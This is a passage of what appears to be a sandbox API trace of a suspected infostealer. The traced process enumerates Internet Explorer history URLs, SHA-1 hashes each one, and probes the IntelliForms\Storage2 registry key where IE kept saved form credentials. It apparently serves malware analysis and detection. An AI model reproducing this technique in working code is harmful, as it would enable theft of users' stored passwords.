hHash=0x7202b90, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.048] CryptDestroyHash (hHash=0x7202b90) returned 1 [0098.048] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.048] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.048] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.048] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.049] LocalFree (hMem=0x28e7670) returned 0x0 [0098.049] CoTaskMemFree (pv=0x72128d0) [0098.049] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.049] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/WBajqFyl.xlsx", lpSrch="?") returned 0x0 [0098.049] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.049] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.049] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/WBajqFyl.xlsx") returned 49 [0098.049] CryptHashData (hHash=0x7204330, pbData=0x7203450, dwDataLen=0x64, dwFlags=0x0) returned 1 [0098.049] CryptGetHashParam (in: hHash=0x7204330, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.049] CryptDestroyHash (hHash=0x7204330) returned 1 [0098.049] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.050] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.050] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.050] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.050] LocalFree (hMem=0x28e7910) returned 0x0 [0098.050] CoTaskMemFree (pv=0x7203450) [0098.050] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.050] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/n8M3fjA-kFT1.ots", lpSrch="?") returned 0x0 [0098.050] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.050] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.051] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/n8M3fjA-kFT1.ots") returned 58 [0098.051] CryptHashData (hHash=0x72038b0, pbData=0x7211cd0, dwDataLen=0x76, dwFlags=0x0) returned 1 [0098.051] CryptGetHashParam (in: hHash=0x72038b0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.051] CryptDestroyHash (hHash=0x72038b0) returned 1 [0098.051] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.051] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.051] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.051] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.051] LocalFree (hMem=0x28e7670) returned 0x0 [0098.051] CoTaskMemFree (pv=0x7211cd0) [0098.051] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.051] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/KFFJsVbjyjxysr-W.gif", lpSrch="?") returned 0x0 [0098.051] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.052] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.052] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/KFFJsVbjyjxysr-W.gif") returned 66 [0098.052] CryptHashData (hHash=0x72031b0, pbData=0x71868d0, dwDataLen=0x86, dwFlags=0x0) returned 1 [0098.052] CryptGetHashParam (in: hHash=0x72031b0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.052] CryptDestroyHash (hHash=0x72031b0) returned 1 [0098.052] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.052] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.052] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.052] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.052] LocalFree (hMem=0x28e7910) returned 0x0 [0098.052] CoTaskMemFree (pv=0x71868d0) [0098.052] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.052] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/krVny.jpg", lpSrch="?") returned 0x0 [0098.052] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.053] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.053] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/krVny.jpg") returned 61 [0098.053] CryptHashData (hHash=0x72029d0, pbData=0x71822f0, dwDataLen=0x7c, dwFlags=0x0) returned 1 [0098.053] CryptGetHashParam (in: hHash=0x72029d0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.053] CryptDestroyHash (hHash=0x72029d0) returned 1 [0098.053] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.053] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.053] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.053] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.053] LocalFree (hMem=0x28e7670) returned 0x0 [0098.053] CoTaskMemFree (pv=0x71822f0) [0098.053] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.053] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/wUbOzMUHShGB0.odp", lpSrch="?") returned 0x0 [0098.053] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.054] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.054] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/wUbOzMUHShGB0.odp") returned 67 [0098.054] CryptHashData (hHash=0x72029d0, pbData=0x7223fe0, dwDataLen=0x88, dwFlags=0x0) returned 1 [0098.054] CryptGetHashParam (in: hHash=0x72029d0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.054] CryptDestroyHash (hHash=0x72029d0) returned 1 [0098.054] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.054] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.054] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.054] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.054] LocalFree (hMem=0x28e7910) returned 0x0 [0098.054] CoTaskMemFree (pv=0x7223fe0) [0098.054] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.055] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/qCMb0KA7MfMwnqR-.flv", lpSrch="?") returned 0x0 [0098.055] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.055] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.055] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/qCMb0KA7MfMwnqR-.flv") returned 53 [0098.055] CryptHashData (hHash=0x72029d0, pbData=0x7211850, dwDataLen=0x6c, dwFlags=0x0) returned 1 [0098.055] CryptGetHashParam (in: hHash=0x72029d0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.055] CryptDestroyHash (hHash=0x72029d0) returned 1 [0098.055] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.055] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.055] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.055] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.055] LocalFree (hMem=0x28e7670) returned 0x0 [0098.056] CoTaskMemFree (pv=0x7211850) [0098.056] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.056] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/E6EbhMwBQFcvigF.png", lpSrch="?") returned 0x0 [0098.056] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.056] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.056] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/E6EbhMwBQFcvigF.png") returned 71 [0098.056] CryptHashData (hHash=0x72029d0, pbData=0x28ca240, dwDataLen=0x90, dwFlags=0x0) returned 1 [0098.056] CryptGetHashParam (in: hHash=0x72029d0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.056] CryptDestroyHash (hHash=0x72029d0) returned 1 [0098.056] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.056] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.057] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.057] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.057] LocalFree (hMem=0x28e7910) returned 0x0 [0098.057] CoTaskMemFree (pv=0x28ca240) [0098.057] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.057] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/ptN2ZuQ8amSwzj3Hf.bmp", lpSrch="?") returned 0x0 [0098.057] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.057] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.057] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/ptN2ZuQ8amSwzj3Hf.bmp") returned 67 [0098.057] CryptHashData (hHash=0x72029d0, pbData=0x2885f30, dwDataLen=0x88, dwFlags=0x0) returned 1 [0098.058] CryptGetHashParam (in: hHash=0x72029d0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.058] CryptDestroyHash (hHash=0x72029d0) returned 1 [0098.058] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.058] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.058] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.058] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.058] LocalFree (hMem=0x28e7670) returned 0x0 [0098.058] CoTaskMemFree (pv=0x2885f30) [0098.058] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.058] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/xaBuqdV.gif", lpSrch="?") returned 0x0 [0098.058] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.059] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.059] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/xaBuqdV.gif") returned 83 [0098.059] CryptHashData (hHash=0x72029d0, pbData=0x71ced80, dwDataLen=0xa8, dwFlags=0x0) returned 1 [0098.059] CryptGetHashParam (in: hHash=0x72029d0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.059] CryptDestroyHash (hHash=0x72029d0) returned 1 [0098.059] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.059] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.059] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.059] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.059] LocalFree (hMem=0x28e7910) returned 0x0 [0098.059] CoTaskMemFree (pv=0x71ced80) [0098.059] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.059] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/oNeEpnzll.mkv", lpSrch="?") returned 0x0 [0098.059] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.060] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.060] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/oNeEpnzll.mkv") returned 46 [0098.060] CryptHashData (hHash=0x72046b0, pbData=0x7204090, dwDataLen=0x5e, dwFlags=0x0) returned 1 [0098.060] CryptGetHashParam (in: hHash=0x72046b0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.060] CryptDestroyHash (hHash=0x72046b0) returned 1 [0098.060] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.060] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.060] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.060] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.060] LocalFree (hMem=0x28e7670) returned 0x0 [0098.060] CoTaskMemFree (pv=0x7204090) [0098.060] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.060] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/1n511.bmp", lpSrch="?") returned 0x0 [0098.060] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444e860) returned 1 [0098.061] CryptCreateHash (in: hProv=0x444e860, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.061] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/1n511.bmp") returned 49 [0098.061] CryptHashData (hHash=0x7203300, pbData=0x7203220, dwDataLen=0x64, dwFlags=0x0) returned 1 [0098.061] CryptGetHashParam (in: hHash=0x7203300, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.061] CryptDestroyHash (hHash=0x7203300) returned 1 [0098.061] CryptReleaseContext (hProv=0x444e860, dwFlags=0x0) returned 1 [0098.061] CoTaskMemFree (pv=0x7203220) [0098.061] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.061] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/rPvFAdqEUop.ppt", lpSrch="?") returned 0x0 [0098.061] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444e860) returned 1 [0098.062] CryptCreateHash (in: hProv=0x444e860, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.062] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/rPvFAdqEUop.ppt") returned 51 [0098.062] CryptHashData (hHash=0x7203c30, pbData=0x7203d80, dwDataLen=0x68, dwFlags=0x0) returned 1 [0098.062] CryptGetHashParam (in: hHash=0x7203c30, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.062] CryptDestroyHash (hHash=0x7203c30) returned 1 [0098.062] CryptReleaseContext (hProv=0x444e860, dwFlags=0x0) returned 1 [0098.062] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.062] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.062] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.062] LocalFree (hMem=0x28e7910) returned 0x0 [0098.062] CoTaskMemFree (pv=0x7203d80) [0098.062] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.063] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/ANIK59S7NBZeKp.pptx", lpSrch="?") returned 0x0 [0098.063] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444e860) returned 1 [0098.063] CryptCreateHash (in: hProv=0x444e860, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.063] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/ANIK59S7NBZeKp.pptx") returned 55 [0098.063] CryptHashData (hHash=0x4471650, pbData=0x7211dd0, dwDataLen=0x70, dwFlags=0x0) returned 1 [0098.063] CryptGetHashParam (in: hHash=0x4471650, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.063] CryptDestroyHash (hHash=0x4471650) returned 1 [0098.063] CryptReleaseContext (hProv=0x444e860, dwFlags=0x0) returned 1 [0098.063] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.063] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.063] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: 